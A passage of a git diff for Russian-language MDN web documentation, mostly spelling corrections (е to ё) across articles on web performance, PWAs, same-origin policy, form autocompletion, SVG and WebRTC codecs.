      Почему так важно делать все это асинхронно? Помимо причин, перечисленных выше, подумайте о влиянии, которые оказывают зависшие приложения: пользователь не может отменить запуск, даже если он запустил приложение по ошибке. Если приложение запускается в браузере, пользователь даже не сможет закрыть вкладку. В конечно счёте это может привести даже к системным предупреждениям о "медленных скриптах" или "исчерпании памяти". А ведь было время, когда каждая вкладка не работала в отдельном процессе, как сейчас, а потому повисшая вкладка приводила к зависанию всего браузера! Вы должны не просто делать загрузку приложения "мягкой", но и давать пользователю знать о процессе загрузки: показывайте ему прогресс-бары или этапы, которые проходит приложение. Это позволит пользователю убедиться, что приложение не зависло.

      Было бы желание...

      @@ -21,7 +21,7 @@ translation_of: Web/Performance/Optimizing_startup_performance

      С другой стороны, потребуются некоторые ухищрения, если вы пытаетесь портировать существующее десктопное приложение в Web или привыкли писать такие. Десктопные приложения обычно не нуждаются в написании кода в асинхронной манере, потому что операционная система берет заботу об этом на себя. В исходниках такого приложения может быть лишь один поток обработки кода, но даже он может быть легко разбит на асинхронные этапы (запуском каждой новой итерации потока по отдельности). В таких приложениях запуск часто представляет собой последовательную монолитную процедуру, которая время от времени обращается к метрикам прогресса и обновляет их.

      -

      И хотя вы можете использовать Web workers, чтобы обработать очень большие и "тяжелые" скрипты асинхронно, вы должны учитывать некоторые ограничения. Web Worker-ы не имеют доступа к некоторым API браузера: DOM, WebGL или audio, они не могут посылать синхронные сообщения в основной поток, вы даже не можете проксировать некоторые из этих API в основной поток. Это всё означает, что вы можете поместить в Web Worker-ы только "чистые функции", но вам все равно придется вычислять огромную часть данных в основном потоке. Поэтому очень полезно разрабатывать систему так, чтобы в ней было как можно больше чистых функций - так их будет проще делегировать  последствии.

      +

      И хотя вы можете использовать Web workers, чтобы обработать очень большие и "тяжёлые" скрипты асинхронно, вы должны учитывать некоторые ограничения. Web Worker-ы не имеют доступа к некоторым API браузера: DOM, WebGL или audio, они не могут посылать синхронные сообщения в основной поток, вы даже не можете проксировать некоторые из этих API в основной поток. Это всё означает, что вы можете поместить в Web Worker-ы только "чистые функции", но вам все равно придётся вычислять огромную часть данных в основном потоке. Поэтому очень полезно разрабатывать систему так, чтобы в ней было как можно больше чистых функций - так их будет проще делегировать  последствии.

      Тем не менее, даже код в основном потоке можно сделать асинхронным, приложив лишь небольшие усилия.

      @@ -45,9 +45,9 @@ translation_of: Web/Performance/Optimizing_startup_performance

      Когда первоначальная загрузка завершена и начинается обработка приложения в основном потоке, вполне возможно, что ваше приложение обязано быть однопоточным, особенно если это портированная версия. Очень важно попытаться помочь процессу запуска приложения, порефакторив код, сделав его композитным, состоящим из маленьких кусочков, каждый из которых может быть обработан последовательно основным потоком. В этом случае, в промежутке между выполнением этих кусочков кода браузер сможет выделить время на обработку ввода (например, клик) или на обработку микро-задач.

      -

      В случае, если вы портируете ваше приложение, вы наверняка знаете о Emscripten. Это решение предоставляет API, которое поможет с подобным рефакторингом. Например, вы можете использовать emscripten_push_main_loop_blocker(), чтобы определить функцию, как выполняемую после того, как основной поток разрешит продолжить работу. Создавая такие функции, создавая очередь, которая должна выполниться в определенном порядке, вы можете с легкостью разгрузить основной поток.

      +

      В случае, если вы портируете ваше приложение, вы наверняка знаете о Emscripten. Это решение предоставляет API, которое поможет с подобным рефакторингом. Например, вы можете использовать emscripten_push_main_loop_blocker(), чтобы определить функцию, как выполняемую после того, как основной поток разрешит продолжить работу. Создавая такие функции, создавая очередь, которая должна выполниться в определённом порядке, вы можете с лёгкостью разгрузить основной поток.

      -

      Конечно, все это не отменяет необходимости рефакторинга кода так, чтобы он работал лучше и это займет время. Но для старта этого может оказаться достаточно.

      +

      Конечно, все это не отменяет необходимости рефакторинга кода так, чтобы он работал лучше и это займёт время. Но для старта этого может оказаться достаточно.

      Насколько далеко я должен зайти?

      diff --git a/files/ru/web/performance/performance_budgets/index.html b/files/ru/web/performance/performance_budgets/index.html index ff86f4b139..8cb841d20d 100644 --- a/files/ru/web/performance/performance_budgets/index.html +++ b/files/ru/web/performance/performance_budgets/index.html @@ -3,7 +3,7 @@ title: Бюджет производительности slug: Web/Performance/Performance_budgets translation_of: Web/Performance/Performance_budgets --- -

      Бюджет производительности - это лимит для предотвращения регрессий. Этот бюджет может быть применен к файлам, типам файлов, всем ресурсам приложения, определенным общим показателям (например, Время до интерактивности) пользовательским показателям (например, Время до главного элемента) или к пороговым значениям к определенным точкам во времени.

      +

      Бюджет производительности - это лимит для предотвращения регрессий. Этот бюджет может быть применён к файлам, типам файлов, всем ресурсам приложения, определённым общим показателям (например, Время до интерактивности) пользовательским показателям (например, Время до главного элемента) или к пороговым значениям к определённым точкам во времени.

      Зачем нужен бюджет?

      @@ -14,12 +14,12 @@ translation_of: Web/Performance/Performance_budgets

      Главная цель такого подхода - сокращение регрессии. Но этот подход может помочь предсказать поведение приложения в будущем. Например, в Сентябре 50% месячного бюджета было использовано за неделю - значит, нужно ждать увеличения потребления контента, нагрузки на сервера и т.д.

      -

      Кроме того, подход может раскрыть некоторые нужды разработчиков (например, может оказаться, что в финальном коде вашего приложения половину объема занимает огромная библиотека, из которой вы используете только мизерную часть функционала).

      +

      Кроме того, подход может раскрыть некоторые нужды разработчиков (например, может оказаться, что в финальном коде вашего приложения половину объёма занимает огромная библиотека, из которой вы используете только мизерную часть функционала).

      Как определить бюджет?

      @@ -38,7 +38,7 @@ translation_of: Web/Performance/Performance_budgets

      Базовая цель - достигнуть показателя "Время до интерактивности" до 5 секунд при 3G/4G, и до 2 секунд для последующих загрузок. Однако, вы можете придумать свои цели, основанные на контенте приложения, географии пользователей и технологиях.

      -

      Например, для приложения с большим количеством текста (блоги, новостные сайты), показатель Первая отрисовка контента (First Contentful Paint) будет гораздо лучше показывать, с чем сталкивается пользователь. Иными словами, этот показатель покажет, как быстро пользователь начинает читать. И этот показатель должен быть включен в специфичные бюджеты, например, бюджет шрифтов, где вы можете применять разные техники для оптимизации. Например, font-display, чтобы улучшить Субъективно Ощущаемую производительность).

      +

      Например, для приложения с большим количеством текста (блоги, новостные сайты), показатель Первая отрисовка контента (First Contentful Paint) будет гораздо лучше показывать, с чем сталкивается пользователь. Иными словами, этот показатель покажет, как быстро пользователь начинает читать. И этот показатель должен быть включён в специфичные бюджеты, например, бюджет шрифтов, где вы можете применять разные техники для оптимизации. Например, font-display, чтобы улучшить Субъективно Ощущаемую производительность).

      Но самая главная цель таких бюджетов - это возможность корреляции Производительности и Бизнес-целей. Когда вы определяете какие-то показатели, вы должны сфокусироваться на пользовательском опыте. Только он может диктовать, как мы должны изменять приложение таким образом, чтобы не просто улучшить конверсию, но и предсказать вероятность того, что пользователь вернётся.

      @@ -53,7 +53,7 @@ translation_of: Web/Performance/Performance_budgets

      Проверка размеров файлов - это лишь первый рубеж защиты от регрессий. Преобразование этих показателей во временные может быть сложным, потому что во время разработки окружение разработчика может не включать в себя сторонние библиотеки или оптимизации, которые обычно присутствуют в Production сборках.

      -

      Поэтому, рекомендуется определить базовые линии для каждой метрики бюджета с учетом разницы между окружением разработчика и боевым окружением.

      +

      Поэтому, рекомендуется определить базовые линии для каждой метрики бюджета с учётом разницы между окружением разработчика и боевым окружением.

      С этим может помочь, например, Lighthouse Bot, который можно встроить в Travis CI и использовать для получения аналитики Lighthouse и Webpage Test. Этот бот будет сообщать об ошибке или успешном прохождении тестов на основе определённых минимальных оценок.

      @@ -61,7 +61,7 @@ translation_of: Web/Performance/Performance_budgets

      Чем раньше вы сможете определить новую трату к бюджету, тем лучше вы сможете оценить текущее состояние приложения и указать на необходимые оптимизации.

      -

      Кроме того, лучше иметь несколько бюджетов и быть проактивным. Бюджеты должны отражать ваши текущие цели, но не должны мешать экспериментам. Например, вы можете привнести функционал, который увеличит общее время загрузки приложения, но попытается увеличить пользовательскую вовлечённость (например, как долго пользователь остается на странице).

      +

      Кроме того, лучше иметь несколько бюджетов и быть проактивным. Бюджеты должны отражать ваши текущие цели, но не должны мешать экспериментам. Например, вы можете привнести функционал, который увеличит общее время загрузки приложения, но попытается увеличить пользовательскую вовлечённость (например, как долго пользователь остаётся на странице).

      Бюджет помогает вам сохранить оптимальное поведение ваших текущих пользователей, когда вы пытаетесь выйти на новые рынки или привнести что-то новое в ваше приложение.

      diff --git a/files/ru/web/performance/rum-vs-synthetic/index.html b/files/ru/web/performance/rum-vs-synthetic/index.html index a2d0a17bec..6692991729 100644 --- a/files/ru/web/performance/rum-vs-synthetic/index.html +++ b/files/ru/web/performance/rum-vs-synthetic/index.html @@ -12,7 +12,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic

      Синтетический мониторинг

      -

      Синтетический мониторинг включает в себя мониторинг производительности в "лабораторных" условиях, обычно с помощью автоматизированных инструментов в цельном окружении. Такой подход включает в себя создание скриптов, симулирующих путь, который может пройти пользователь, пользуясь приложением. Таким образом тестируются не настоящие пользователи, но заранее определенный набор инструкций, который выполняется в предопределенном окружении.

      +

      Синтетический мониторинг включает в себя мониторинг производительности в "лабораторных" условиях, обычно с помощью автоматизированных инструментов в цельном окружении. Такой подход включает в себя создание скриптов, симулирующих путь, который может пройти пользователь, пользуясь приложением. Таким образом тестируются не настоящие пользователи, но заранее определённый набор инструкций, который выполняется в предопределённом окружении.

      Пример такого мониторинга - WebPageTest.org. Ресурс предоставляет контролируемое окружение, где вы определяете географию, сеть, устройства, браузеры и кешированные данные. Сервис предоставляет Waterfall график для каждого ресурса, который используется в вашем приложении и грузится сторонними библиотеками (например, рекламными или аналитическими инструментами).

      @@ -22,7 +22,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic

      Мониторинг реальных пользователей (RUM)

      -

      Мониторинг реальных пользователей (Real User Monitoring, RUM) измеряет производительность приложения на устройствах конечных пользователей. В основе подхода - сторонний скрипт, который вставляет другие скрипты на каждую страницу. Эти дополнительные скрипты измеряют производительность и предоставляют отчеты о ней. Этот подход помогает не только узнать, насколько производительно приложение, но и дает информацию об использовании приложения, например, о географии, распределении пользователей или влиянии такого распределения на пользовательский опыт.

      +

      Мониторинг реальных пользователей (Real User Monitoring, RUM) измеряет производительность приложения на устройствах конечных пользователей. В основе подхода - сторонний скрипт, который вставляет другие скрипты на каждую страницу. Эти дополнительные скрипты измеряют производительность и предоставляют отчёты о ней. Этот подход помогает не только узнать, насколько производительно приложение, но и даёт информацию об использовании приложения, например, о географии, распределении пользователей или влиянии такого распределения на пользовательский опыт.

      В отличие от синтетического мониторинга, RUM собирает данные от настоящих пользователей, вне зависимости от их устройств, браузеров, сети или геолокации. Пока пользователь взаимодействует с приложением, тайминги такого взаимодействия записываются, вне зависимости от того, какое действие выполняется в конкретный момент. Такой мониторинг собирает данные о реальном использовании приложения, а не о том поведении, которое ожидают разработчики или, скажем, отдел маркетинга. Это особенно важно для больших веб-сайтов или сложных приложений, где функционал или содержимое постоянно меняются, а количество пользователей может очень сильно расти, создавая новые нагрузки и требования.

      @@ -32,7 +32,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic

      Синтетический мониторинг хорошо подходит для отлавливания регрессий в ходе разработки приложения. Особенно полезным может оказаться занижение скорости сети ({{glossary('network throttling')}}). Такой подход довольно прост, недорог и великолепно подходит для тестирования определённых точек приложения по мере того, как вы вносите изменения в код. Но он даёт лишь узкий обзор производительности и не говорит о том, что испытывает пользователь.

      -

      Тестирование на реальных пользователях, в свою очередь, дает информацию о настоящих пользователях, которые используют приложение или веб-сайт. И хотя получение и обработка таких данных обходится дороже и не так проста, такой подход дает жизненно важные данные о пользовательском опыте.

      +

      Тестирование на реальных пользователях, в свою очередь, даёт информацию о настоящих пользователях, которые используют приложение или веб-сайт. И хотя получение и обработка таких данных обходится дороже и не так проста, такой подход даёт жизненно важные данные о пользовательском опыте.

      API для измерения производительности

      diff --git a/files/ru/web/progressive_web_apps/installable_pwas/index.html b/files/ru/web/progressive_web_apps/installable_pwas/index.html index 034dfb976a..3aa9e01580 100644 --- a/files/ru/web/progressive_web_apps/installable_pwas/index.html +++ b/files/ru/web/progressive_web_apps/installable_pwas/index.html @@ -15,7 +15,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs
      • Веб-манифест с правильно заполненными полями
      • -
      • Сайт должен использовать защищенный (HTTPS) домен
      • +
      • Сайт должен использовать защищённый (HTTPS) домен
      • Иконка для предоставления приложения на устройстве
      • Зарегистрированный service worker, чтобы приложение работало в off-line режиме (на данный момент требуется только для Chrome на Android)
      @@ -26,7 +26,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs

      Обычно находится в корневой папке веб-приложения. Содержит информацию, такую как название приложения, paths пути к значкам разных размеров, которые можно использовать для представления приложения в мобильных операционных системах (например, в качестве значка домашнего экрана), и цвет фона для использования при загрузке. Эта информация необходима браузеру для правильного отображения приложения при установке и на домашнем экране.

      -

      Файл js13kpwa.webmanifest веб-приложения js13kPWA включен в раздел {{htmlelement("head")}} файла index.html с помощью следующей строчки кода:

      +

      Файл js13kpwa.webmanifest веб-приложения js13kPWA включён в раздел {{htmlelement("head")}} файла index.html с помощью следующей строчки кода:

      <link rel="manifest" href="js13kpwa.webmanifest">
      @@ -98,7 +98,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs

      Экран загрузки

      -

      В некоторых браузерах, на основе информации из манифеста, создается заставка, отображаемая при запуске PWA

      +

      В некоторых браузерах, на основе информации из манифеста, создаётся заставка, отображаемая при запуске PWA

      diff --git a/files/ru/web/reference/api/index.html b/files/ru/web/reference/api/index.html index df6fdaf23f..b3439cdf85 100644 --- a/files/ru/web/reference/api/index.html +++ b/files/ru/web/reference/api/index.html @@ -8,7 +8,7 @@ tags: - Справка translation_of: Web/Reference/API --- -

      Веб предлагает широкий спектр интерфейсов для выполнения различных полезных задач. Они могут быть доступны с помощью кода JavaScript, и путем внесения незначительных корректив в объекты {{domxref("window")}}  или {{domxref("element")}}.  Для создания сложной графики и аудио эффектов используются такие интерфейсы как WebGL и Web Audio.

      +

      Веб предлагает широкий спектр интерфейсов для выполнения различных полезных задач. Они могут быть доступны с помощью кода JavaScript, и путём внесения незначительных корректив в объекты {{domxref("window")}}  или {{domxref("element")}}.  Для создания сложной графики и аудио эффектов используются такие интерфейсы как WebGL и Web Audio.

      Описание всех интерфейсов (APIs).

      diff --git a/files/ru/web/reference/index.html b/files/ru/web/reference/index.html index 3b429c22d2..6ebb520ba5 100644 --- a/files/ru/web/reference/index.html +++ b/files/ru/web/reference/index.html @@ -7,7 +7,7 @@ translation_of: Web/Reference ---

      {{draft()}}

      -

      Открытая сеть построена с использованием ряда технологий. Ниже вы найдете ссылки на наши справочные материалы по каждому из них.

      +

      Открытая сеть построена с использованием ряда технологий. Ниже вы найдёте ссылки на наши справочные материалы по каждому из них.

      diff --git a/files/ru/web/security/same-origin_policy/index.html b/files/ru/web/security/same-origin_policy/index.html index 0b304bf42f..e1b008a445 100644 --- a/files/ru/web/security/same-origin_policy/index.html +++ b/files/ru/web/security/same-origin_policy/index.html @@ -7,7 +7,7 @@ translation_of: Web/Security/Same-origin_policy

      Определение origin

      -

      Две страницы имеют одинаковый origin (источник) если протокол , порт (если указан), и хост одинаковы для обоих страниц. Время от времени, вы можете видеть это как  "scheme/host/port tuple" (где "tuple" переводится как кортеж или запись набор из трех компонент, которые вместе составляют единое целое).

      +

      Две страницы имеют одинаковый origin (источник) если протокол , порт (если указан), и хост одинаковы для обоих страниц. Время от времени, вы можете видеть это как  "scheme/host/port tuple" (где "tuple" переводится как кортеж или запись набор из трёх компонент, которые вместе составляют единое целое).

      В следующей таблице даны примеры origin-сравнений с URL http://store.company.com/dir/page.html:

      diff --git a/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html b/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html index 6d60a0d151..7397f649f1 100644 --- a/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html +++ b/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html @@ -5,7 +5,7 @@ translation_of: Web/Security/Securing_your_site/Turning_off_form_autocompletion ---

      В этой статье объясняется как можно отключить автозаполнение полей на сайте.

      -

      По умолчанию браузеры запоминают информацию, которую пользователи отправляют через {{HTMLElement("input")}} поля на сайтах. Это позволяет браузеру предлагать варианты для автодополнения (то есть предлагать возможные дополнения для полей, в которые пользователь начал вводить данные) или автозаполнение (то есть предварительно заполнять определенные поля при загрузке).

      +

      По умолчанию браузеры запоминают информацию, которую пользователи отправляют через {{HTMLElement("input")}} поля на сайтах. Это позволяет браузеру предлагать варианты для автодополнения (то есть предлагать возможные дополнения для полей, в которые пользователь начал вводить данные) или автозаполнение (то есть предварительно заполнять определённые поля при загрузке).

      Эти функции обычно включены по умолчанию, но они могут вызвать проблемы конфиденциальности пользователей, поэтому браузеры могут позволить отключать их. Однако некоторые данные, представленные в формах, либо не будут полезны в будущем (например, одноразовый пин-код), либо содержат конфиденциальную информацию (например, уникальный правительственный идентификатор или код безопасности кредитной карты). Как автор сайта, вы можете предпочесть, чтобы браузер не запоминал значения для таких полей, даже если в браузере включена функция автозаполнения.

      diff --git a/files/ru/web/svg/applying_svg_effects_to_html_content/index.html b/files/ru/web/svg/applying_svg_effects_to_html_content/index.html index 337add0202..7dc0f367c1 100644 --- a/files/ru/web/svg/applying_svg_effects_to_html_content/index.html +++ b/files/ru/web/svg/applying_svg_effects_to_html_content/index.html @@ -16,7 +16,7 @@ translation_of: Web/SVG/Applying_SVG_effects_to_HTML_content
      <style>p { mask: url(#my-mask); }</style>
       
      -

      В приведенном выше примере все параграфы маскируются с помощью SVG <mask>  с ID my-mask

      +

      В приведённом выше примере все параграфы маскируются с помощью SVG <mask>  с ID my-mask

      Пример: маскировка

      @@ -45,7 +45,7 @@ p {

      Обратите внимание, что в CSS маска указана с использованием URL-адреса ID- #mask-1, которая является идентификатором маски SVG, указанной ниже. Все остальное указывает подробности о самой маске градиента.

      -

      Применение SVG-эффекта к (X) HTML выполняется путем назначения target классу, определенному выше элементу, например:

      +

      Применение SVG-эффекта к (X) HTML выполняется путём назначения target классу, определённому выше элементу, например:

      <p class="target" style="background:lime;">
           Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
      @@ -59,7 +59,7 @@ p {
       </p>
       
      -

      Вышеприведенный пример будет отображаться с помощью маски, применяемой к нему.

      +

      Вышеприведённый пример будет отображаться с помощью маски, применяемой к нему.

      {{EmbedLiveSample('Example_Masking', 650, 200)}}

      @@ -111,7 +111,7 @@ p {

      Пример: Фильтрация

      -

      Это демонстрирует применение фильтра к содержимому HTML с помощью SVG. Он устанавливает несколько фильтров, которые применяются с CSS к трем элементам как в нормальном состоянии, так и при hover мыши.

      +

      Это демонстрирует применение фильтра к содержимому HTML с помощью SVG. Он устанавливает несколько фильтров, которые применяются с CSS к трём элементам как в нормальном состоянии, так и при hover мыши.

      <p class="target" style="background: lime;">
           Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
      diff --git a/files/ru/web/svg/attribute/attributetype/index.html b/files/ru/web/svg/attribute/attributetype/index.html
      index 64578f28b0..c4e46ff973 100644
      --- a/files/ru/web/svg/attribute/attributetype/index.html
      +++ b/files/ru/web/svg/attribute/attributetype/index.html
      @@ -8,7 +8,7 @@ translation_of: Web/SVG/Attribute/attributeType
       ---
       

      « Справочник SVG атрибутов

      -

      Этот атрибут задает пространство имен, в котором определяются конечный атрибут и связанные с ним значения.

      +

      Этот атрибут задаёт пространство имён, в котором определяются конечный атрибут и связанные с ним значения.

      Контекст использования

      @@ -40,9 +40,9 @@ translation_of: Web/SVG/Attribute/attributeType
      Указывает на то, что значение параметра  {{ SVGAttr("attributeName") }}  является именем свойства CSS, определяемого как анимация.
       
      XML
      -
      Указывает, что значение параметра{{ SVGAttr("attributeName") }} является именем атрибута XML, определяемого как анимация в пространстве имен XML по умолчанию для целевого элемента.
      +
      Указывает, что значение параметра{{ SVGAttr("attributeName") }} является именем атрибута XML, определяемого как анимация в пространстве имён XML по умолчанию для целевого элемента.
      auto
      -
      Реализация должна соответствовать {{ SVGAttr("attributeName") }} атрибуту целевого элемента. Агенты пользователя сначала посмотрят список свойств CSS для соответствующего имени свойства, а если нет, выполните поиск в пространстве имен XML по умолчанию для элемента.
      +
      Реализация должна соответствовать {{ SVGAttr("attributeName") }} атрибуту целевого элемента. Агенты пользователя сначала посмотрят список свойств CSS для соответствующего имени свойства, а если нет, выполните поиск в пространстве имён XML по умолчанию для элемента.

      Пример

      diff --git a/files/ru/web/svg/attribute/core/index.html b/files/ru/web/svg/attribute/core/index.html index 4423aa5468..6abb480a61 100644 --- a/files/ru/web/svg/attribute/core/index.html +++ b/files/ru/web/svg/attribute/core/index.html @@ -26,7 +26,7 @@ translation_of: Web/SVG/Attribute/Core Значение: Любое строковое значение ID; Анимируемый: Нет
      {{SVGAttr('lang')}}
      -

      Участвует в определении языка элемента, языка, на котором написаны нередактируемые элементы, или языка, на котором должны быть написаны редактируемые элементы. Тэг содержит одно единственное значение записи в формате, определенном в документе IETF "Tags for Identifying Languages (BCP47)".

      +

      Участвует в определении языка элемента, языка, на котором написаны нередактируемые элементы, или языка, на котором должны быть написаны редактируемые элементы. Тэг содержит одно единственное значение записи в формате, определённом в документе IETF "Tags for Identifying Languages (BCP47)".

      SVG2 предоставляет новые lang атрибуты. Если атрибуты lang и xml:lang используются вместе, то xml:lang имеет приоритет над lang.

      @@ -42,7 +42,7 @@ translation_of: Web/SVG/Attribute/Core Тип: <IRI>; Анимируемый: Нет
      {{SVGAttr('xml:lang')}}
      -

      Это универсальный атрибут, разрешенный во всех XML диалектах для разметки естественного человеческого языка, который содержит элемент. Он почти идентичен по использованию атрибута lang в HTML, но в соответствии с документацией XML 1.0, данный атрибут не позволяет использовать нулевое (null) значение атрибута (xml:lang="") для указания неизвестного языка. Вместо этого, используйте xml:lang="und".

      +

      Это универсальный атрибут, разрешённый во всех XML диалектах для разметки естественного человеческого языка, который содержит элемент. Он почти идентичен по использованию атрибута lang в HTML, но в соответствии с документацией XML 1.0, данный атрибут не позволяет использовать нулевое (null) значение атрибута (xml:lang="") для указания неизвестного языка. Вместо этого, используйте xml:lang="und".

      SVG2 предоставляет новые lang атрибуты. Если атрибуты lang и xml:lang используются вместе, то xml:lang имеет приоритет над lang.

      diff --git a/files/ru/web/svg/attribute/d/index.html b/files/ru/web/svg/attribute/d/index.html index 708aa0cbad..2e1807e521 100644 --- a/files/ru/web/svg/attribute/d/index.html +++ b/files/ru/web/svg/attribute/d/index.html @@ -72,7 +72,7 @@ translation_of: Web/SVG/Attribute/d
      @@ -433,13 +433,13 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => {

      Правильный выбор кодеков

      -

      Перед выбором кодека, который не является обязательным (VP8 или AVC для видео и  Opus или PCM для аудио), следует серьезно рассмотреть потенциальные недостатки: в особенности, если предполагается, что эти кодеки не широко доступны на всех устройствах, поддерживающих WebRTC.

      +

      Перед выбором кодека, который не является обязательным (VP8 или AVC для видео и  Opus или PCM для аудио), следует серьёзно рассмотреть потенциальные недостатки: в особенности, если предполагается, что эти кодеки не широко доступны на всех устройствах, поддерживающих WebRTC.

      Если вы предпочитаете кодек, отличный от обязательных, вы должны по крайней мере разрешить откат к одному из обязательных кодеков, если поддержка для кодека, который вы предпочитаете, окажется недоступна.

      Аудио

      -

      В целом, если кодек доступен и звук, который вы хотите отправить, имеет частоту дискретизации более 8 кГц, вам следует настоятельно рекомендовать использовать Opus в качестве основного кодека. Для голосовых соединений в стесненной среде использование G.711 с частотой дискретизации 8 кГц может обеспечить приемлемое качество для разговора, но обычно вы будете использовать G.711 в качестве запасного варианта, поскольку есть другие более эффективные варианты, чей звук лучше, такие как Опус в своем узкополосном режиме .

      +

      В целом, если кодек доступен и звук, который вы хотите отправить, имеет частоту дискретизации более 8 кГц, вам следует настоятельно рекомендовать использовать Opus в качестве основного кодека. Для голосовых соединений в стеснённой среде использование G.711 с частотой дискретизации 8 кГц может обеспечить приемлемое качество для разговора, но обычно вы будете использовать G.711 в качестве запасного варианта, поскольку есть другие более эффективные варианты, чей звук лучше, такие как Опус в своём узкополосном режиме .

      Видео

      @@ -447,7 +447,7 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => {

      Условия лицензирования

      -

      Прежде чем выбрать видеокодек, убедитесь, что вы знаете о любых лицензионных требованиях к выбранному вами кодеку; можете найти информацию о возможных проблемах лицензирования в нашем основном руководстве по видеокодекам, используемым в  web. Из двух обязательных кодеков для видео - VP8 и AVC / H.264 - только VP8 полностью свободен от лицензионных требований. Если выбираете AVC, убедитесь, что вы знаете о любых возможных сборах, которые вам, возможно, придется заплатить; владельцы патентов обычно говорят, что большинству типичных разработчиков веб-сайтов не нужно беспокоиться об оплате лицензионных сборов, которые, как правило, больше ориентированы на разработчиков программного обеспечения для кодирования и декодирования.

      +

      Прежде чем выбрать видеокодек, убедитесь, что вы знаете о любых лицензионных требованиях к выбранному вами кодеку; можете найти информацию о возможных проблемах лицензирования в нашем основном руководстве по видеокодекам, используемым в  web. Из двух обязательных кодеков для видео - VP8 и AVC / H.264 - только VP8 полностью свободен от лицензионных требований. Если выбираете AVC, убедитесь, что вы знаете о любых возможных сборах, которые вам, возможно, придётся заплатить; владельцы патентов обычно говорят, что большинству типичных разработчиков веб-сайтов не нужно беспокоиться об оплате лицензионных сборов, которые, как правило, больше ориентированы на разработчиков программного обеспечения для кодирования и декодирования.

      Внимание :  Информация здесь не является юридической консультацией! Обязательно убедитесь в возможности ответственности, прежде чем принимать какие-либо окончательные решения, если существует вероятность возникновения проблем с лицензированием.

      @@ -455,19 +455,19 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => {

      Энергопотребление и срок службы батареи

      -

      Еще один фактор, который следует учитывать, особенно на мобильных платформах, - это влияние кодека на время автономной работы. Если кодек обрабатывается аппаратно на данной платформе, он, вероятно, позволит значительно увеличить срок службы батареи и уменьшить выработку тепла.

      +

      Ещё один фактор, который следует учитывать, особенно на мобильных платформах, - это влияние кодека на время автономной работы. Если кодек обрабатывается аппаратно на данной платформе, он, вероятно, позволит значительно увеличить срок службы батареи и уменьшить выработку тепла.

      Например, Safari для iOS и iPadOS представила WebRTC с AVC в качестве единственного поддерживаемого видеокодека. Преимущество AVC на iOS и iPadOS заключается в возможности кодирования и декодирования на аппаратном уровне.Safari 12.1 представил поддержку VP8 в IRC, что улучшает взаимодействие, но за дополнительную плату - VP8 не имеет аппаратной поддержки на устройствах iOS, поэтому его использование приводит к увеличению нагрузки на процессор и сокращению срока службы батареи.

      Производительность

      -

      К счастью, VP8 и AVC работают одинаково с точки зрения конечного пользователя и одинаково адекватны для использования в видеоконференцсвязи и других решениях WebRTC. Окончательное решение остается за разработчиком. Какой бы вариант вы ни выбрали, обязательно прочитайте информацию, представленную в этой статье, о любых конкретных проблемах конфигурации, с которыми вам, возможно, придется столкнуться для этого кодека.

      +

      К счастью, VP8 и AVC работают одинаково с точки зрения конечного пользователя и одинаково адекватны для использования в видеоконференцсвязи и других решениях WebRTC. Окончательное решение остаётся за разработчиком. Какой бы вариант вы ни выбрали, обязательно прочитайте информацию, представленную в этой статье, о любых конкретных проблемах конфигурации, с которыми вам, возможно, придётся столкнуться для этого кодека.

      Имейте в виду, что выбор кодека, которого нет в списке обязательных кодеков, может привести к риску выбора кодека, который не поддерживается браузером, который предпочитают ваши пользователи. Прочтите Решение проблем медиаподдержки в веб контенте , чтобы узнать больше о том, как предлагать поддержку предпочитаемых кодеков, но при этом использовать браузеры, которые не поддерживают этот кодек.

      Последствия для безопасности

      -

      При выборе и настройке кодеков возникают интересные потенциальные проблемы безопасности. Видео WebRTC защищено с помощью Datagram Transport Layer Security ({{Glossary("DTLS")}}), но для мотивированной стороны теоретически возможно вывести величину изменения, которое происходит от кадра к кадру при использовании кодеков с переменной скоростью передачи (VBR), путем мониторинга скорости потока  и ее изменения во времени.Это может потенциально позволить злоумышленнику сделать вывод о содержании потока, учитывая приливы и отливы скорости передачи.

      +

      При выборе и настройке кодеков возникают интересные потенциальные проблемы безопасности. Видео WebRTC защищено с помощью Datagram Transport Layer Security ({{Glossary("DTLS")}}), но для мотивированной стороны теоретически возможно вывести величину изменения, которое происходит от кадра к кадру при использовании кодеков с переменной скоростью передачи (VBR), путём мониторинга скорости потока  и её изменения во времени.Это может потенциально позволить злоумышленнику сделать вывод о содержании потока, учитывая приливы и отливы скорости передачи.

      Подробнее о безопасности при использовании AVC в WebRTC см.  {{RFC(6184, "RTP Payload Format for H.264 Video: Security Considerations", 9)}}.

      diff --git a/files/ru/web/performance/animation_performance_and_frame_rate/index.html b/files/ru/web/performance/animation_performance_and_frame_rate/index.html index 9b9121b742..8ccf7fb88d 100644 --- a/files/ru/web/performance/animation_performance_and_frame_rate/index.html +++ b/files/ru/web/performance/animation_performance_and_frame_rate/index.html @@ -13,7 +13,7 @@ original_slug: Web/Performance/Производительность_анимац ---

      Анимация в Вебе может быть сделана с помощью {{domxref('SVGAnimationElement', 'SVG')}}, {{domxref('window.requestAnimationFrame','JavaScript')}}, включая {{htmlelement('canvas')}} и {{domxref('WebGL_API', 'WebGL')}}, CSS {{cssxref('animation')}}, {{htmlelement('video')}}, анимированных GIF и даже с помощью анимированных PNG и других типов изображений. Производительность CSS анимации может отличаться от одного CSS-свойства к другому, а попытка анимировать некоторые "дорогие" CSS-свойства может привести к зависаниям ({{glossary('jank')}}), даже несмотря на то, что браузер борется за то, чтобы смягчить частоту смены кадров {{glossary('frame rate')}}.

      -

      Для анимированных медиа, таких как видео и GIF, основная проблема производительности - это размер файлов. Скачивание больших по объему файлов не может не повлиять на производительность системы или на то, как эту систему воспринимает пользователь. 

      +

